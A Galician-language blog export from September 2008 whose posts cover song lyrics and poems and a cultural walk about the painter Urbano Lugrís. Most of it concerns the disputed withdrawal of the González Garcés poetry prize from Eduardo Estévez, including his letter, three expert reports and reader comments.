Só hai que imprimir a alegación e rexistrala. Podes fotocopiala e conseguir que asinen varias personas (en alegacións individuais) se tes un rexistro preto. Tamén podes redactar a túa propia alegación.
Iremos actualizando o blog con máis detalles en canto podamos. De momento é para organizar as alegacións. Súmate e reenvía este mail ós teus amigos e contactos".
O prazo para apresentar alegaçons remata o 4 de Outubro.
Copia, difunde, distribue esta informaçom entre os teus contactos. Imprime as alegaçons e apresenta-as. Qualquer oficina dos Correios, se nom tes perto outro registo, funciona como registo.
SALVEMOS A LASTRA!!!
É, ptolo, é.
Corrigido. Obrigado. Saúdos.
“Praço"? Não será antes “Prazo"? Abraço
----- -------- AUTHOR: Lugris TITLE: A cantiga é umha arma... BASENAME: a-cantiga-e-umha-arma DATE: Sat, 27 Sep 2008 08:45:24 +0000 STATUS: publish PRIMARY CATEGORY: Músicas CATEGORY: Aqueles maravilhosos anos TAGS: ----- BODY:[youtube]UAyS8cP5NX8[/youtube]
A cantiga é uma arma
eu não sabia
tudo depende da bala
e da pontaria
Tudo depende da raiva
e da alegria
a cantiga é uma arma
e eu não sabia
Há quem cante por interesse
há quem cante por cantar
e há quem faça profissão
de combater a cantar
e há quem cante de pantufas
p'ra não perder o lugar
O faduncho choradinho
de tavernas e salões
semeia só desalento
misticismo e ilusões
canto mole em letra dura
nunca fez revoluções
(...)
Umha boa poesia, umha boa melodia, para fortalecer ánimos nestes dias tam longos, nestas noites tam curtas...
O Grupo de Acçom Cultura, com José Mario Branco, a cantar.
A informaçom seguinte, tirei-na daqui
O Grupo de Acção Cultural (GAC) iniciou as suas actividades em 1974, logo a seguir ao 25 de Abril. No seu início o GAC era um projecto musical que envolvia nomes como José Mário Branco, José Afonso, Fausto, Adriano Correia de Oliveira e mesmo José Niza e Manuel Alegre.
O que se pretendia com este grupo era apoiar as greves e outras manifestações que despontavam como cogumelos.
Em 1975 dá-se a separação definitiva das águas , ficando o GAC como um projecto ligado ou muito próximo da UDP, constituído por um grupo de vozes que giram à volta do principal impulsionador e mentor José Mário Branco.
Por esta época chegou a haver o GAC Norte e o GAC Sul e o grupo chegou a realizar 3 sessões ( como se chamavam os concertos) durante um só dia.
Do GAC faziam parte nomes como Afonso Dias, João Lisboa ( actual crítico do "Expresso"), Carlos Guerreiro,
Rui Vaz ( actuais membros dos Gaiteiros de Lisboa) e Nuno Ribeiro da Silva ( que foi secretário de Estado num dos governos de Cavaco Silva).
O grupo concorre ao Festival RTP da canção com o tema "Alerta" e editará muitos outros singles , tais como "A Cantiga É Uma Arma" ou " A Ronda do Soldadinho". Estes singles serão , posteriormente, reunidos num LP intitulado "A Cantiga É Uma Arma".
Com o 25 de Novembro, os ânimos políticos arrefecem e o grupo começa a iniciar uma nova fase que passa pela recolha de temas tradicionais , recriados com novas letras da autoria do grupo ou com originais muito próximos da música tradicional. Tal é o caso do LP " Pois Canté!", editado em 1976.
Este é um disco fundamental para a compreensão de todo o fenómeno posterior de recriação da música tradicional, feita por grupos como Raízes, Brigada Victor Jara, Vai de Roda, etc.
Este trabalho faz, aliás, parte das obras que o jornal "Público", numa votação dos seus críticos musicais , considerou como dos melhores de sempre da música portuguesa.
José Mário abandona o grupo ( que mantém a designação GAC- Vozes na Luta) para se dedicar à militância política e ao teatro.
O GAC editará ainda mais 2 LP's " Vira Bom" e "Ronda da Alegria" , na linha do anterior " Pois Canté!", recriando a música tradicional portuguesa.
Em 1978 desaparecia um dos mais importantes grupos de música portuguesa, que contribuiu de firma decisiva (embora , por vezes, não se dê conta disso) para o desenvolvimento de uma estética musical baseada na criatividade e na inovação.
Grandes grandes grandes os Vozes na Luta. E tamén o José Mário. Sabes que tiven a sorte de coñecelo cando o Leo tocou con el en Coimbra, e mesmo presenciar o reencontro con Miro Casabella, tantos anos despois?
----- -------- AUTHOR: Lugris TITLE: Aquel poeta inédito, licenciado e fanfarrom... BASENAME: aquel-poeta-inedito-licenciado-e-fanfarr DATE: Sat, 27 Sep 2008 08:27:30 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Músicas CATEGORY: O Livro das Confusons CATEGORY: Para Ver Ler TAGS: ----- BODY:Estou no mundo porque tem que haver de tudo
repetia a todas as horas
em todas as partes
aquele poeta inédito
licenciado e fanfarrom
que andava na procura das musas
entre as massas
ou das moças
tras os copos de uísque
Um poema do "Livro das Confusons". Dentro dum par de messes, haverá já dous anos que o editei e o distribuim de balde a través deste blogue.
E, nem sei porque, agora é que me lembrei deste poema...
Sobre a exposiçom "Poesia para Ver/Poesia para Ler", podo adiantar que, com toda provabilidade, e se nom mudam os tempos nem as vontades, depois de estar no Condado poderá ser vista entre Outubro e Novembro em Compostela.
E, em Janeiro, em Ponferrada.
Ainda nom tenho mais datas. Mas a minha intençom é que siga a sua particular gira pola Galiza adiante. Seguiremos informando.
[youtube]tTTdJ5FM1mY[/youtube]
----- -------- AUTHOR: Lugris TITLE: De vinhos com Urbano Lugris BASENAME: de-vinhos-com-urbano-lugris DATE: Sat, 27 Sep 2008 06:30:10 +0000 STATUS: publish PRIMARY CATEGORY: Lugris CATEGORY: Urbano Lugris TAGS: ----- BODY:Informa El País, que um grupo dumhas 50 pessoas percorrerom na tarde da quinta-feira, as ruas e, sobre todo, os bares da Corunha que Urbano Lugris visitava asiduamente. Entre vinho e vinho, Xurxo Souto e Antón Patinho, que exerciam de mantedores desta particular ruta cultural, comentarom anedotas, figerom aflorar lembranças e possibilitarom achegar-se ao universo de Urbano.
Já Luis Rei Nuñez no seu estupendo "O señor Lugrís e a negra sombra", permitiu-nos conhecer melhor, mesmo que de maneira literária, a vida do pintor que decidiu exiliar-se nas suas paisagens marítimas para poder fugir do eterno e duro gris da ditadura.
A imagem é um mural de Urbano Lugris sobre a caça das baleas.
----- -------- AUTHOR: Lugris TITLE: Prendem-se algumhas luzes... BASENAME: prendem-se-algumhas-luzes DATE: Fri, 26 Sep 2008 22:03:56 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Músicas CATEGORY: Para Ver Ler CATEGORY: Eu também desenhar TAGS: ----- BODY:De 55 minutos de silêncio, um pequeno poemário que se pode ler integramente no web da Associaçom de Escritores/as em Língua Galega (AELG).
Prendem-se algumhas luzes
na distância
mentres cai o sol
Quando escuito esta cançom, sempre me lembro deste poema.
[youtube]emUR9ELgwQM[/youtube]
A foto, atopei-na aqui.
----- -------- AUTHOR: Lugris TITLE: Eu também participei no González Garcés com um poemário nom inédito BASENAME: eu-tambem-participei-no-gonzalez-garces- DATE: Fri, 26 Sep 2008 15:10:07 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí CATEGORY: Cousas por cá CATEGORY: Livros TAGS: ----- BODY:O título deste post poderia parecer o início dumha campanha de solidariedade seguindo o modelo das autoinculpaçons. Mas nom o é. Ou nom só. Porque é verdade. Eu também participei no prémio de poesia González Garcés deste ano com um poemário "nom-inédito" e além disso rompendo com a regra do "anonimato".
Como eu nom tenho aceso a informaçom privilegiada, e nem sei se o meu poemário já foi desbotado na primeira leitura e posta em comum por parte do juri, ou mesmo se tivo apoios por parte de algum/ha d@s suas integrantes, ou se todos/as elas/es estiverom dacordo na baixa qualidade do mesmo,... vaia, que como nom sei que foi o que se passou com ele, nom podo falar de como lhe foi.
Sim sei, como sabemos todos e todas a estas alturas, que nem ganhou o prémio nem lhe derom um accesit. Nom tenho a mais mínima dúvida de que o poemário de Eduardo Estévez é de mais qualidade que o meu: tenho-lhe lido os seus livros, e parece-me um muito bom poeta. Sobre a provável qualidade da obra de X.Lama nom podo comentar nada, porque nunca nada lhe lim. Mas é de supor, se acreditamos na qualidade do juri, que também será um bom poemário. O suficientemente bom como para merecer um accesit.
Mas ter participado da-me o direito, penso eu, a entrar (como entrei) no debate suscitado pola, ao meu entender, nefasta actuaçom do juri. E mesmo teria direito a apresentar umha protesta e umha reclamaçom por o juri ter considerado que a categoria "accesit" equivale a um segundo posto (cousa que nom aparece por lado nengum nas bases), e que retirado o primeiro prémio ao poemário ganhador, este deve recair no "accesit", como se isto fora o Tour, ou as olimpiadas.
E participo, entro, promovo, publicito e animo o debate sem necessidade de fazer parte de nengum "lobbie", grupo de pressom ou camarilha. Fago-o sem necessidade de agachar a minha identidade, nem coleguear com ninguém. Fago-o, e digo as cousas que digo e nas que me reafirmo, porque a decissom do juri de retirar-lhe o prémio a Eduardo e dar-lho ao Xabier Lama pareceu-me total e completamente desafortunada. Injusta. Indignante. E todas quantas palavras sinónimas podades atopar nos dicionários. E fazendo isto, concordo e compartilho opinions com muita gente, expresada especialmente (mas nom só), na rede, por meio dos numerosos blogues que se tenhem ocupado do tema, e em várias webs e ediçons electrónicas de diários e revistas que tenhem tratado este asunto.
Mas nom pretendia falar disso. A resposta, acusadora, do X.Lama, recolhida no bar do Jaureguizar, já foi bem respondida por outras pessoas, entre elas O levantador de minas. Eu queria falar do poemário que eu enviei. E que, como digo, também conhecera anteriormente algum tipo de "publicaçom", quer-se dizer, que também foi feito público anteiormente.
O poemário com o que participei, apresentado baixo plica, por suposto, e com um nome fictício e um título que nom é o real, foi empregado pola artista Reme Remédios para componher algumha das obras, algum dos quadros, que faziam parte da sua exposiçom Carpeta Negra-Carpeta Verde, tal e como ela mesma explicava na apresentaçom que ainda se pode ver no blogue que abriu com motivo da dita exposiçom: ?Incluyo dentro de esta exposición cuatro cuadros sonoros. Se trata de un proyecto recién nacido que tiene como base lo experimental. Nilo Gallego, músico y performer, se encarga de recoger a tiempo real el sonido que el trazo del lápiz, la cera o el pincel van produciendo al ser manipulados por mí para crear un nuevo dibujo. Vertido dentro del cuadro, el sonido puede ser escuchado por el espectador a través de auriculares que salen directamente del soporte en el que éste fue producido. El espectador redibuja, llevado por el sonido, lo que ve. Escribo, sobre el dibujo finalizado, frases de ?Morno, lene, dondo?, poemario de Igor Lugris, para redundar en el concepto de poema sonoro?.
E o que aparecia exposto nom eram bocetos dos poemas, nom. Eram alguns dos versos de vários poemas tal e como forom enviados. Nom era um ?work in progress?, nom. Era o resultado final. Reme Remédios fazia os seus desenhos a partir de versos que eu escrevia. Nom é de estranar. Retroalimentavamo-nos. Eu escrevia versos também a partir de desenhos que ela fazia a partir de versos que eu escrevia a partir de desenhos que ela fazia a partir de versos que...
Isso significa que durante o mês que a sua obra estivo exposta em Ponferrada, na Galeria de Arte dosmilvacas.com, o juri (e outra muitas pessoas) tiverom a oportunidade de vê-la, e ler os meus poemas, e ve-los no poemário que tinham que julgar. Além disso, várias pessoas tiverom aceso ao poemário, porque eu lhes entreguei umha cópia fotocopiada do mesmo. Pode que algumha dessas pessoas também lho entregara a outras, e estas a outras,... Pode ser que chegar por essa via a maos de algum/ha dos/as membros do juri. Por poder, pode. Ninguém pode negar essa possibilidade. O meu poemário nom era inédito, e a regra de anonimato estava rota.
Mas, eu ainda assim enviei o poemário a esse certame. De boa fe. Como imagino que fai o noventa e nove por cento das pessoas que participam em esse e outros certames. Actuando de boa fe. Como imagino que actuam as pessoas que fam parte dos juris desses prémios. Porque eu nom considerava que essa pequena aventura do meu poemário significara que já ficava impossibilitado para participar num certame de poesia. Porque nom considerava que isso significara que o meu poemário deixara de ser inédito (de facto, sigue sendo-o), nem que se rompera a regra do anonimato (de facto, o juri sigue sem saber que esse poemário é meu). Mas parece que vou ter que mudar a minha opiniom.
A decissom do juri do González Garcés senta jurisprudência, que diria um avogado. Nem sei se legalmente, mas o certo é que no próximo certame onde se apresente umha reclamaçom semelhante, o juri vai ter que ter em conta o acontecido este ano no González Garcés.
E nem só. Nós, as pessoas que escrevemos, também o devemos ter em conta. E as pessoas, organizaçons, instituiçons, empresas e entidades que convocam prémios também o vam ter que ter em conta. Aguardemos que para bem. Que todo isto serva para actualizar as bases, para achegá-las à realidade do mundo actual. Para que juri, organizadores, participantes e público em geral reflexionemos sobre todo isto, e pensemos se queremos ter umha literatura onde os prémios se ganham com um asesor legal a decidir nom sobre a qualidade literária, mas sobre as implicaçons jurídicas das decissons que tome ou deixe de tomar um juri, umhas quantas pessoas às que se lhes presupom que actuam legal, honesta e honradamente.
Se calhar, vai ser muito pedir.
A imagem, é, como nom podia ser doutra forma, de Reme Remédios: Mulher, maçá, árvore, terra.
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 26 Sep 2008 16:04:04 +0000 URL:Dim as bases, esses sacrosantos textos aos que há que ater-se ponto por ponto: “As deliberacións (do juri) serán secretas” . Como sabe X.Lama que a votaçom foi de 3 a 2? Nom, o resto dos mortais nom tivemos acceso a essa informaçom.
E umha outra anotaçom: Porque ao tirar-lhe o prémio ao Eduardo, decidem dar-lho ao X.Lama como se este tivera conseguido o segundo prémio?
A resposta, penso eu, pode estar no ponto sétimo das bases: “Non se devolverán as obras presentadas non premiadas, e a partir do día seguinte ao da decisión do xurado serán destruidas". Quer-se dizer, que quando chega a reclamaçom de X.Lama, penso que ele próprio afirma que três dias depois, o juri já nom conserva o resto dos poemários que participarom no certame. E se os conservavam, estavam saltando-se as bases! E se o accesit também nom é um prémio, o poemário de X.Lama também tivo que ser destruido. Portanto: DECIDIROM DAR-LHE O PRÉMIO A X.LAMA SER RELER O SEU POEMÁRIO. Nem o seu nem nengum outro, posto que todos foram destruidos. Entendo eu agora porque a opiniom do asesor jurídico foi fundamental. Para tomar umha decissom literária, já nom tinham material. Só posuiam um escrito para decidir: a reclamaçom de X.Lama.
Estrambótico!
Levo toda a tarde querendo escrever este post, e ainda nom tivera tempo. Desde que às 16.00 ao chegar ao trabalho e abrir os meus correios vim umha mensagem que me informava de que a Eduardo Estévez lhe "retiraram" o Prémio González Garcés que ganhou em Maio deste ano.
Esta é a história dum juri que rouba o prémio que ele mesmo concedera. A história dum prémio que finalmente ganha quem nom o ganhara. A história dum (mais um) lamentável capítulo do nosso sistema literário.
O juri do prémio, Manuel Álvarez Torneiro, Manuel Fernández Álvarez, Gonzalo Navaza Blanco, Luz Pozo Garza, e Remedios Fernández Romero, decidiu agora retirar-lhe o prémio polo mesmo motivo polo que lho concedeu entom. Em Maio, destacavam a sua "renovación estética" e o "achegamento ao cotiá". Segum publicava vieiros.com na altura,"o voceiro do xurado, Manuel Forcadela, destacou que a obra "Construcións" sorprendeu pola "contemporaneidade da súa escrita e a aposta do autor pola renovación da nosa tradición estética", así como "a liña de construcción expresiva" da obra "na que se pode advertir unha proximidade do cotián".
Agora, decidem que todo isso é intranscendente, e depois de receber umha impugnaçom por parte do ganhador do accesit, e tiram-lhe o Prémio ao Eduardo para dar-lho a este. É umha forma de re-escrever a história.
Porque história tem que haver, e muita, tras desta decissom.
Di o ganhador do accesit, que a obra de Eduardo "Construcións" nom era inédita, porque o processo de construçom do poemário pudo seguir-se abertamente por parte de quem tivera interese no blogue que o Eduardo criara com tal fim, e que se chamava "en construción, bitácora da construción dun libro de poemas". Di o ganhador do accesit que como esse processo de construçom do poema era público, e como o blogue fazia referência explicita à autoria de Eduardo, também nom era secreta a identidade do autor do poemário. E, por último, di o senhor ganhador do accesit, que ele deve ser o ganhador do prémio, e nom outro, nom porque a sua obra seja melhor ou tenha mais qualidade literária, mas porque assim o recomenda a estrita atençom da burocrácia e as leis. Quer-se dizer, que este senhor vai ganhar com ajuda de avogados e gabinetes jurídicos o que nom conseguiu ganhar com os seus versos. Que lhe preste!
Para mim tenho que, tal e como recolhe ainda hoje a estas horas a wikipédia, Eduardo Estévez é o ganhador do Prémio González Garcés deste ano, porque o ganhou limpa e honradamente, porque o ganhou justa e dignamente, porque o ganhou com qualidade literária e capacidade poética. Sem ajudas alheias à poesia.
Mas este asunto, penso eu, tem muita mais transcendência, pois nom se trata só de se a Eduardo lhe roubam ou nom o prémio que lhe corresponde (e isso por si só já é avondo grave). Trata-se também dum novo e lamentável espectáculo da nossa literatura e dos nossos prémios literários. Nom é o primeiro caso,nem vai ser o último, mas nom por isso é menos denunciável. Nom por isso é menos escandaloso. Nom por isso devemos seguir dizindo que chove quando estám a mijar por nós.
A obra de Eduardo, os direitos de autor de Eduardo, que som os direitos de autor de todas as pessoas que escrevem, de todos/as as poetas e escritores (também do senhor que ganhou o accesit), estám a ser maltratados, pisoteados, violados. Porque os direitos de autor/a nom som os euros que avogados e economistas "recaudam" em bibliotecas e copistarias. Nom. Os direitos de autor/a som os que levam as de perder nesta história. Na história do juri que roubou o prémio que tinha que conceder.
Estou com Séchu: "A mim da-me que algumha gente pertence á Geraçom poética do Cromagnom".
A seguir, reproduzo a carta onde Eduardo explica toda esta absurda, triste e pobre história, e os informes que apresentou ante o juri da autoria de Miro Villar, Fran Alonso e Miguel Anxo Fernan-Vello. No comentário que aparece no post de onte, podedes ver a primeira notícia que tivem de todo este asunto, da autoria de l&m.
Carta de EDUARDO ESTÉVEZ:
O día de hoxe veño a ser informado de que a Deputación Provincial da Coruña decidiu aceptar unha impugnación recibida hai uns meses e que solicitaba que se descalificase o meu libro construcións e se lle retirase o premio de poesía Miguel González Garcés que lle fora concedido.
O argumento da impugnación, presentada polo señor Xabier Lama, é que o libro incumpría as bases da convocatoria por estar previamente publicado no blog ?en construcion?.
Como expliquei no seu momento perante a propia Deputación que mo solicitou, esta impugnación carece de toda base legal segundo os seguintes argumentos:
1. O premio, tal e como está descrito nas súas bases e é de público coñecemento, premia unha ?obra?. Quer dicir, considera unha ?obra? a totalidade do material presentado baixo un título e lema. A ?obra? presentada a concurso é rigorosamente inédita.
2. Existe, efectivamente, un blog, titulado ?en construción?. e co seguinte subtítulo: ?bitácora da construción dun libro de poemas?. A existencia deste blog era pública antes da convocatoria do premio e, como pode comprobarse, non a ocultei en ningún momento. En todo caso, o que se publicou neste blog é unha descrición do proceso de produción da obra. Non é un libro, senón unha bitácora, un diario. Acompañando esta bitácora é posíbel consultar borradores de algúns dos textos que compoñen a obra pero non todos os textos nin as súas versións finais. O poeta e investigador Miro Villar explica claramente, nun informe técnico que emitiu nesta oportunidade, que ?é axioma ou principio filolóxico fundamental que as versións anteriores á edición definitiva ou testamentaria por parte do autor teñen a consideración de material de traballo para a crítica textual, mais en ningún caso se chegan a considerar como textos definitivos do autor?. O concepto de ?obra?, por tanto, distínguese claramente do seu proceso de produción e nas bases do premio non se indica que o proceso de produción da obra deba ser inédito.
3. Como se pode ver no mesmo blog, a publicación do proceso de produción abandonouse o 1 de maio de 2006. Un mes despois (o 13 de xuño) déixase constancia dun período de reflexión sobre os textos e, posteriormente (o 25 de agosto), infórmase de que a obra sufríu moitas correccións. Dende aquela, como resulta habitual habida conta do tempo transcorrido até a convocatoria do premio, aínda houbo outros procesos de revisión profunda do libro nos que se descartaron poemas e se incluíron outros, ademais de modificarse seriamente a totalidade dos textos. Ningunha destas modificacións (nin a descrición das mesmas nin os textos) foron difundidas no blog ou na miña páxina persoal.
4. Na mesma cláusula SEGUNDA das bases do Premio dise que a Deputación ?publicará? a obra premiada. Non se explicita (aínda que queda amplamente sobreentendido) que se trata dunha publicación en papel. Pódese sobreentender, por tanto, que a expresión ?inédito? na cláusula primeira se refire tamén a este modo habitual de publicación.
5. Por outra banda, o mesmo informe técnico antes mencionado determina sen que caiba lugar a dúbidas que, ?só recibe consideración de obra édita aquela que posúe o seu correspondente rexistro, quer no ISBN quer no Rexistro da Propiedade Intelectual, e calquera outra obra sen o devandito trámite sempre adoita considerarse como inédita?.
6. Existen hoxe en día diversos métodos de edición de libros dixitais. Como se explica na Wikipedia (http://es.wikipedia.org/wiki/Libro-e#Formatos_de_archivos_de_eBook), os formatos comunmente utilizados para este soporte son DOC, PDF y LIT. Nin o blog nin os textos incluídos na páxina web utilizan calquera destes métodos. En todo caso, pódese consultar os arquivos do ISBN para ter constancia de que non existe rexistro da edición de ningunha obra ao meu nome en formato papel ou dixital que poida significar un incumprimento das bases do premio. Outro informe técnico, neste caso do poeta e editor Fran Alonso, explicita: ?En ningún caso pode entenderse o blog «En construción» como un libro dixital. En primeiro lugar, un blog non responde ao que desde o punto de vista profesional os editores entendemos por «edición dixital» (formatos de texto dixitalizado, sometido a un proceso de edición e preparado para a súa descarga nun ordenador, pda, teléfono móbil ou libro dixital, como adoitan ser os pdf ou os .doc). Por outra banda, as propias normas de estilo da ortografía técnica na edición indican que se debe empregar a cursiva para os títulos de obras literarias (tanto en formato papel como en formato dixital) pero que se deben empregar a redonda para os nomes dos blogs.?
7. En calquera caso, e tal como deixa entrever Fran Alonso no seu argumento, o concepto ?edición? inclúe unha serie de procesos adicionais (e necesariamente posteriores) á escrita do libro que, como resulta obvio, non puideron ter lugar neste caso, xa que a escrita dos textos do libro non estaba rematada no momento en que se interrumpiu a difusión da bitácora.
8. Canto á alegación presentada á cláusula TERCEIRA das bases (que dice, literalmente: ?As obras presentaranse baixo un título e un lema, achegados de plica na que conste o título e o lema no seu exterior e contendo no interior o nome e apelidos do autor, o seu enderezo, nacionalidade e número de teléfono?), a Deputación pode dar fe de que o libro foi presentado baixo plica, cun título e un lema, polo que non se entende a que violación desta cláusula se refire a alegación.
9. Con todo, atendendo ao espírito desta cláusula que procura o anonimato dos textos para non viciar a resolución do premio, o xurado está no seu dereito (aínda que non o respalde unha lectura estrita das bases) de, antes de emitir o fallo, desbotar un libro porque pode recoñecer a súa autoría por haberse difundido algún dos textos que o compoñen en publicacións colectivas ou mesmo en recitais poéticos. Porén, unha vez que o xurado falla de boa fe e en exercicio da súa indiscutíbel profesionalidade, non parece pertinente que este mesmo dereito de veto se lle conceda a calquera persoa por que tivese coñecemento previo da obra.
10. Máis alá doutras consideracións, tanto o acto de presentar o libro ao premio canto a actuación do xurado desenvolvéronse baixo o principio de boa fe que rexe, segundo a lexislación vixente, todos os contratos de palabra (como o é o caso de presentar un libro a un premio literario). Como se explicita no artigo 1.288 do Código Civil: ?A interpretación das cláusulas oscuras dun contrato non deberán favorecer á parte que tivese ocasionado esa oscuridade?.
11. En todo caso, a actuación do señor Xavier Lama só pretende obter nos despachos o que en boa lide literaria non lle fora concedido.
Teño na miña man presentar recurso contencioso administrativo contra a resolución da Deputación pero non o farei. Acepto esta nova decisión do xurado tal e como a aceptei da primeira vez e non pretendo obter nos despachos aquilo do que de boa fe o xurado e a Deputación agora me privan.
A importancia dun premio radica en que un xurado considere que o traballo de un merece ser premiado, o que xa ocorreu co meu construcións. Quédome con iso.
Eduardo Estévez
A Coruña, 23 de setembro de 2008.
Informe de MIRO VILLAR:
Arximiro Villar González (Miro Villar), Doutor en Filoloxía Galega pola Universidade de Santiago de Compostela (USC), coa tese A poesía galega de Antón Zapata García. Edición e Estudo, profesor de Lingua e Literatura Galega, poeta e crítico literario en diversas publicacións, participou en numerosos congresos e xornadas literarias, con relatorios recollidos nas súas actas, e publicou varias edicións críticas ou comentadas sobre a obra dos poetas Gonzalo López Abente, Roberto Blanco Torres, Xervasio Paz Lestón, Alexandre Cribeiro, Emilio Álvarez Blázquez ou Federico García Lorca, alén de ser coautor dos volumes de Publicacións periódicas e Obras no Diccionario da Literatura Galega. Como especialista en ecdótica e crítica textual presentou relatorios en congresos internacionais celebrados na Facultade de Filosofía e Letras da Universidade Autónoma de Madrid, Facultade de Filosofía e Letras da Universitat Autónoma de Barcelona, na Università degli Studi Roma Tre e na University College, Cork (Irlanda).
E X P O Ñ O
Que na disciplina da ecdótica e da crítica textual tan só recibe consideración de obra édita aquela que posúe o seu correspondente rexistro, quer no ISBN quer no Rexistro da Propiedade Intelectual, e calquera outra obra sen o devandito trámite sempre adoita considerarse como inédita.
Que nos traballos de edición textual sempre podemos atopar numerosos exemplos de work in progress, isto é, de obras en construción, sen que estas primeiras versións se poidan considerar nunca as definitivas ou testamentarias. Polo tanto, é axioma ou principio filolóxico fundamental que as versións anteriores á edición definitiva ou testamentaria por parte do autor teñen a consideración de material de traballo para a crítica textual, mais en ningún caso se chegan a considerar como textos definitivos do autor.
Que a presenza de adiantos ou borradores dos textos, moitas veces absolutamente diferentes ás versións finais, ben sexa en publicacións periódicas ou ben na rede (na actualidade), tampouco pode considerarse nunca como a edición definitiva e testamentaria por parte do autor dun texto literario.
Santiago de Compostela, 14 de xuño do 2008
Asdo.: Arximiro Villar González
Informe de FRAN ALONSO:
A petición de Eduardo Estévez, autor do poemario Construcións, galardonado coa XIV
edición do Premio de Poesía Miguel González Garcés, emito este informe editorial con
motivo dunha impugnación do fallo do premio baseada en que o devandito poemario non
é inédito.
1. En ningún caso pode entenderse o blog «En construción» como un libro dixital. En
primeiro lugar, un blog non responde ao que desde o punto de vista profesional os
editores entendemos por «edición dixital» (formatos de texto dixitalizado, sometido
a un proceso de edición e preparado para a súa descarga nun ordenador, pda,
teléfono móbil ou libro dixital, como adoitan ser os pdf ou os .doc). Por outra
banda, as propias normas de estilo da ortografía técnica na edición indican que se
debe empregar a cursiva para os títulos de obras literarias (tanto en formato papel
como en formato dixital) pero que se deben empregar a redonda para os nomes
dos blogs.
2. Entendo que o poemario Construcións é unha obra inédita, aínda que sexa o
resultado dun proceso creativo público, transparente e participativo. O que o autor
fixo público en todo momento foi o proceso creativo do libro («En construción»),
diferenciado do resultado final, que foi produto dese proceso creativo e que se
mantivo inédito e con distinto título (Construcións).
3. Entendo que a apertura pública do proceso creativo «En construción» foi unha
iniciativa soprendente e desconcertante, por novidosa, pero orixinal e valente, na
medida en que fai público o proceso creativo, cunhas características definitorias
propias que o distancian significativamente do resultado final, Construcións.
Trátase, daquela, dun procedemento literario, pero en ningún caso dunha obra
literaria. O que autor fixo público foi a súa estratexia narrativa para a construción
dos poemas, pero non o produto final do proceso creativo, que permaneceu
inédito.
4. Valorando o carácter novidoso e audaz do procedemento, e a súa diferencia
significativa co resultado final, consideramos que en ningún caso debe ser
penalizado, porque non se dan as circunstancias requeridas para facelo; desde o
punto de vista da edición non incumpre as bases do premio.
E para que así conste, asínoo, en Vigo, a 17 de xuño de 2008
FRAN ALONSO
Informe de MIGUEL ANXO FERNÁN-VELLO:
Por petición expresa do poeta Eduardo Estévez, accedo a realizar este escrito en relación coa impugnación do fallo do XIV Premio de Poesía Miguel González Garcés e como ?anexo? da alegación realizada polo autor.
Na Base Primeira do Premio dise textualmente que ?poderán optar ao concurso tódolos autores de calquera nacionalidade, que presenten obras inéditas?. Ao non incluír, xunto á denominación ?obras inéditas?, as especificacións ?na súa totalidade? ou ?no seu conxunto?, enténdese que a obra presentada puidera permitir a inclusión de textos poéticos parciais anteriormente ?recitados? en público ou mesmo, como é o caso, reproducidos, parcialmente, através dun formato electrónico en Internet. A obra presentada, como tal, é inédita: non viu a luz como tal anteriormente. Iso é o que entendo eu. E así o fago constar.
Miguel Anxo Fernán Vello
A Coruña, 13 de Xuño de 2008
Cabaleiro: crea-me que leo e re-leo com atençom, e nom atopo o motivo para ter que pedir desculpas. De todas as formas, isso de andar a dizer-lhe aos demais que tenhem que pedir desculpas… nem sei! Parece-me um pouco ráncio.
Saúdos.
Lean todos vostedes esta entrevista con Eduardo Estévez e comecen a pedir desculpas:
http://www.entrebuhistas.com/2006/10/29/eduardo-estevez/
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 29 Sep 2008 20:37:19 +0000 URL:Isto parece que acaba, mas nom remata. Sigue a ser tratado em blogues o tema. Aqui vam uns quantos mais:
En Construción sigue sumando também ligaçons e saúdos; Lándoa fala de qualidades literárias e de debates e consideraçons; Trasalba também trata a questom palpitante; Alicia crece mentres nos explica como se desacreditam os prémios; na Selva de Esmelle descobrimos umhas conclusons selváticas, com adaptaçom para distintos níveis; e Xosi explica-nos o tema das picotas, os blogues e a poesia.
Em fim… isto promente mais e mais entradas.
E isso que já passarom quase sete dias, sete, da primeira notícia na realidade virtual. E isso, em verdade, na rede é quase umha eternidade.
Lama fixo moi ben en recorrer e se sabiades doutras trapalladas polo estilo, aínda que nonn fosen tan evidentes por deixar probas escritas como aconteceu agora co blog, deberadelas denunciar no seu momento. E se non o fixestes estades facendo deixación dos vosos deberes cívicos” e consentindo con tanta trapallada (sobr(Sobre esta deixación dos deberes cívicos a que estamos tan afeitos hai un artigo de Argullol o ´no País de hoxe.
E vexo que se fala moito de se era inédito ou non pero fálase pouco de que ía prácticamente asinado. E dicir que cumpriu a norma porque o presentou cunha plica e un pseudónimo é unha ironía.
Por certo, gustaríame oír algún membro do xurado que é especialmente activo na rede a ver se o coñecía ou non.
Ainda mais umha: Besbe nos seus Beliscos Pequenos Beliscos Pequenos.
Mais blogues que tratam o tema. Já alguém di por aí que isto é como o fantasma que percorre europa, mas percorrendo blogues.
Podedes ver os prémios em destruçom de Chove em ningures; a comparativa entre poesia e ciclismo nos Croques; o realmente importante no blogue de L&M; a advertência para nom confundir cum falho do Olho da Vaca; e a carta abierta a, e em apoio de, X.Lama de Nubosidade Variábel.
Haverá mais blogues, seguro, que sigam a tratar o tema. Mas nem sei se seguirei tendo humor e ganhas de recolhé-los nestes comentários.
Ainda mais: a resposta de X.Lama no bar do Jaureguizar, a muit atinada e acertada resposta d’O Levantador de Minas à resposta de X.Lama, umha asesória jurídica em Alfaias, , e umha reflexom sobre justiça poética na Apocalipse do porco.
Ainda sigue dando isto mais de si. Novas análises, novos comentários, novos post nos blogues. A Casatlántica, recunca; Alfaias sigue pola via jurídica, depois da aberraçom de onte sobre o asesor jurídico da deputaçom que apareceu na Voz; e o Porto dos Escravos reflexiona sobre a República das Letras.
Eduardo anuncia que o livro sairá em Positivas, e isso é possitivo; e todo parece indicar que o Encontro de Novas/os Escritores/as dará para debatir e reflexionar, também sobre isto, intensamente.
E umha estupenda e evidente evidência, em Dedos como vermes.
Choriminha: o que hoje publica a Voz já é para rematar a faena. “Umha decissom mais jurídica que literária", desculpam-se do juri… Espectacular! É que nom sabiam que estavam aí para tomar umha decissom literária? Quem lhes obrigou a actuar de avogados?
Que falta de dignidade, de valentia e de capacidade!
